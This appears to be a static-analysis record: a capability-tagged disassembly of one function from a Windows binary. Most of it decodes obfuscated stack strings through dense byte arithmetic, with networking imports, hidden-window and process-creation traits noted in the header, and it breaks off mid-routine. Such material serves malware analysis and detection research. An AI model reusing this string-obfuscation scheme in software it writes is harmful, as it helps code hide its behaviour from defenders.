Function at 0x1400b40b0
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Create process on windows
Hide graphical window
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x140236800]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov byte [rbp + 0x380], Ordinal_200
mov byte [rbp + 0x381], Ordinal_211
mov byte [rbp + 0x382], Ordinal_217
mov byte [rbp + 0x383], 0xc1
mov byte [rbp + 0x384], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x385], gethostname
mov byte [rbp + 0x386], 0x43
mov byte [rbp + 0x387], 7
mov byte [rbp + 0x388], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x389], 0x59
mov byte [rbp + 0x38a], 0x5e
mov byte [rbp + 0x38b], Ordinal_79
mov byte [rbp + 0x38c], 0x5e
mov byte [rbp + 0x38d], 0x5b
mov byte [rbp + 0x38e], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x38f], 0x5b
mov byte [rbp + 0x390], 0xe8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x391], xmm0
movups xmmword [rbp + 0x3a1], xmm0
mov word [rbp + 0x3b1], ax
movabs rsi, 0xce2a9cccd3ce12ac
movabs r12, 0xc0acb222227786fc
movabs r14, 0x9dc4b888b6e64ad4
movabs r15, 0x1c6b544471f73cdc
movabs r13, 0x9b11f0002d082ee4
movzx r11d, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b4dc1
movzx r10d, byte [rbp + rbx + 0x380]
movzx edi, r10b
nop dword [rax]
cmp r8, rbx
ja 0x1400b4db8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b421c
lea rcx, [rbx + r12]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
add r11b, 0x1c
jmp 0x1400b4262
je 0x1400b4d3b
inc rax
cmp r8, rax
je 0x1400b4cd6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4c89
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b4c60
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b4c34
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b4be2
movzx edi, r10b
cmp r9, rbx
ja 0x1400b4daf
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400b4295
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x1400b42d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b4bc2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4b99
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b4b76
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4b3e
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b482f
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b4810
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400b47e8
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b47c3
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x1400b48bb
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b47a8
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b4789
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b476a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b474c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b4720
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b42e0
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400b4d90
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400b4d75
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400b44d1
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x1400b44b2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400b4492
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b46d0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b4685
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b4646
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b461c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b42e0
mov r8, rcx
lea r9, [rcx + 0xa]
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400b45f0
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400b45d2
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400b45b3
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400b4594
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400b4576
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400b4558
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400b4537
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400b450f
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400b44f0
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400b42e0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x41]
jmp 0x1400b42e0
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x1400b42d0
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x1400b4266
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x1400b41f0
lea edx, [rbx + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4c08
lea edx, [rbx + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400b41d2
lea ecx, [rbx + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
dec rbx
inc rbx
jmp 0x1400b41d2
lea edx, [rbx + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
movzx edi, bl
jmp 0x1400b4ae5
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
jmp 0x1400b4b0c
lea edx, [rbx - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4b0f
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4cae
lea edx, [rbx - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1400b4cfb
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
lea edx, [rbx - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0x380], r11b
inc rbx
jmp 0x1400b41d2
lea edx, [rbx - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
cmp r9, 5
jb 0x1400b4636
lea edx, [rbx + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400b4c08
lea edx, [rbx - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
add r11b, dl
cmp r8, 0x80
jae 0x1400b4acc
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400b49f8
lea edx, [rbx - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
jmp 0x1400b465c
lea edx, [rbx - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 2
je 0x1400b4b28
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400b492f
lea edx, [rbx + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
jmp 0x1400b469b
lea ecx, [rbx + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
lea edx, [rbx + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x1400b4cfb
lea edx, [rbx + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4cae
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4b0f
lea ecx, [rbx + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
jmp 0x1400b4b0c
lea edx, [rbx + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400b41d2
lea edx, [rbx + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400b41d2
lea edx, [rbx + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4c08
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b4855
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400b46e7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b488a
lea ecx, [rbx + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b48b2
lea edx, [rbx + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4cae
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b48d9
movzx edi, bl
lea edx, [rdi + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
jmp 0x1400b4ae5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b4903
lea ecx, [rbx + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
dec rbx
inc rbx
jmp 0x1400b41d2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b46ea
lea edx, [rbx + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4c08
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b4956
lea edx, [rbx + 4]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x1400b4c08
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4984
lea edx, [rbx - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400b41d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b49a8
lea ecx, [rbx - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
jmp 0x1400b4b0c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b49cc
lea ecx, [rbx - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
jmp 0x1400b4b0f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b469e
lea edx, [rbx - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4cae
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b4a31
lea edx, [rbx - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4a58
lea edx, [rbx - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x1400b4cae
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b4a7c
lea ecx, [rbx - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x28
jmp 0x1400b4b0f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b4aa1
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400b4b0c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b465f
lea edx, [rbx + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x1400b4c08
movzx edi, bl
lea edx, [rdi + 0x60]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x30
lea r11d, [rcx + rcx]
add r11b, dl
add dil, 0x5c
movzx eax, dil
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x380], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b41d2
lea ecx, [rbx + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x68]
jmp 0x1400b4cae
movabs rcx, 0x5a4f233340359064
add rcx, rbx
and r10b, cl
mov eax, Ordinal_35
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
movabs rcx, 0x579c5aaab6577474
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x2c
jmp 0x1400b4ca7
movabs rax, 0x5236c999a29b3c94
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
sub r11b, 0xc
dec rbx
inc rbx
jmp 0x1400b41d2
movabs rcx, 0x4f84011118bd20a4
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x7c
jmp 0x1400b4c01
movabs rcx, 0x4cd138888edf04b4
add rcx, rbx
and r10b, cl
mov eax, 0xa
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
movzx r10d, dil
add r11b, cl
lea edx, [rbx + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x380], cl
inc r9
dec rbx
inc rbx
jmp 0x1400b41d2
movabs rax, 0xcb77d44449eff6bc
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
sub r11b, 0x24
inc r9
dec rbx
inc rbx
jmp 0x1400b41d2
movabs rax, 0x4a1e70000500e8c4
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
sub r11b, 0x5c
dec rbx
inc rbx
jmp 0x1400b41d2
movabs rcx, 0x44b8deeef144b0e4
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x3c
movzx r10d, dil
add r11b, cl
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x380], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400b4cfb
movabs rcx, 0xc35f7aaaac55a2ec
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x74
add r11b, cl
movzx r10d, dil
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x30
add cl, r10b
mov byte [rbp + rbx + 0x380], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
movabs rcx, 0x42061666676694f4
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, Ordinal_45
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x380]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b41d2
sub bl, 0x14
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x74
jmp 0x1400b41d0
sub bl, 0xc
movzx eax, r10b
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b41c0
lea rdx, [rbp + 0x14eb4d0]
jmp 0x1400b4dc8
lea rdx, [rbp + 0x1063bcc]
jmp 0x1400b4dc8
lea rdx, [rbp + 0x380]
mov rcx, qword [0x14023cdc8]
call fcn.1400fa7a0
mov rcx, qword [0x14023cd78]
call fcn.1400d9f00
mov rbx, qword [0x14023cd78]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x430]
call fcn.1400d03c0
lea rdx, [rbx + 0xa0]
mov rcx, rax
call fcn.1400d0280
lea rcx, [rbp + 0x430]
call fcn.140003780
mov byte [rbp + 0x3b8], 0x63
mov byte [rbp + 0x3b9], 0x57
mov byte [rbp + 0x3ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x3bb], 0x65
mov byte [rbp + 0x3bc], 0x59
mov byte [rbp + 0x3bd], 0x5f
mov byte [rbp + 0x3be], 0x63
mov byte [rbp + 0x3bf], Ordinal_50
mov byte [rbp + 0x3c0], 0x45
mov byte [rbp + 0x3c1], 0x75
mov byte [rbp + 0x3c2], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x3c3], 0x60
mov byte [rbp + 0x3c4], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3c5], 0x7b
mov byte [rbp + 0x3c6], 0x67
mov byte [rbp + 0x3c7], 0x63
mov byte [rbp + 0x3c8], reloc.WLDAP32.dll_Ordinal_22
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3c9], xmm0
movups xmmword [rbp + 0x3d9], xmm0
mov word [rbp + 0x3e9], ax
movabs rsi, 0xf9e9e869b378c981
movabs r15, 0xd5655ae3e84d8287
movabs r14, 0xedbdb93d1a6a5c83
movzx ebx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400b5a37
movzx r11d, byte [rbp + rdi + 0x3b8]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400b5a2e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b4f2b
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x79
jmp 0x1400b4f57
je 0x1400b59c5
inc rax
cmp r8, rax
je 0x1400b593e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b58e8
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b58a2
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400b5a25
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400b4f89
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x13
jmp 0x1400b4fc0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400b588b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5869
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b584f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b5833
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b550c
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b54f2
lea rcx, [r9 + 0x61]
cmp r8, rcx
je 0x1400b54cd
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b54ab
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b5491
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b5475
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b5459
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b543f
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b5423
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b53f6
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b4fd0
mov r8, rcx
lea r9, [rcx + 0x41]
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400b5a09
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400b59ed
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400b51bf
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400b51a5
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400b518b
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400b53ad
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400b5362
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400b5325
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400b52ff
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400b4fd0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b52d2
lea rcx, [r9 + 0x61]
cmp r8, rcx
ja 0x1400b52b4
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b5298
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400b527c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400b5260
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b5244
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b5222
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b51f9
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b51db
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b4fd0
mov r8, rcx
lea r9, [rcx + 0x41]
jmp 0x1400b4fd0
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4d
jmp 0x1400b4fc0
lea ecx, [r10 + 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3f
jmp 0x1400b4f60
add r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x31
jmp 0x1400b4f00
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400b58bb
sub r10b, 0x5a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b4ee2
sub r10b, 0x5c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7c
dec rdi
inc rdi
jmp 0x1400b4ee2
lea edx, [r10 - 0x5e]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x1400b5901
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x60
jmp 0x1400b5923
sub r10b, 0x62
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x52
jmp 0x1400b5926
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x1400b5955
sub r10b, 0x66
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x36
add bl, r10b
jmp 0x1400b5981
sub r10b, 0x68
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x28
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
add r10b, 0x13
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x7b
mov byte [rbp + rdi + 0x3b8], bl
inc rdi
jmp 0x1400b4ee2
lea edx, [r10 + 0x11]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x77
add bl, dl
cmp r9, 1
jb 0x1400b5316
lea edx, [r10 + 0x66]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400b58bb
lea edx, [r10 + 0xf]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x69
add bl, dl
cmp r8, 0x3e8
jae 0x1400b57fb
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400b56f6
lea edx, [r10 + 0x52]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x3e
jmp 0x1400b533a
lea edx, [r10 + 0xd]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x5b
add bl, dl
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400b5818
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400b5626
lea edx, [r10 - 0x43]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x2b
jmp 0x1400b5377
add r10b, 0x7e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x72
movzx eax, byte [rbp + rdi + 0x3b8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b4ee2
add r10b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x64
jmp 0x1400b5981
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x56
jmp 0x1400b5955
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
jmp 0x1400b5926
add r10b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3a
jmp 0x1400b5923
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2c
jmp 0x1400b5901
add r10b, 0x72
movzx eax, r10b
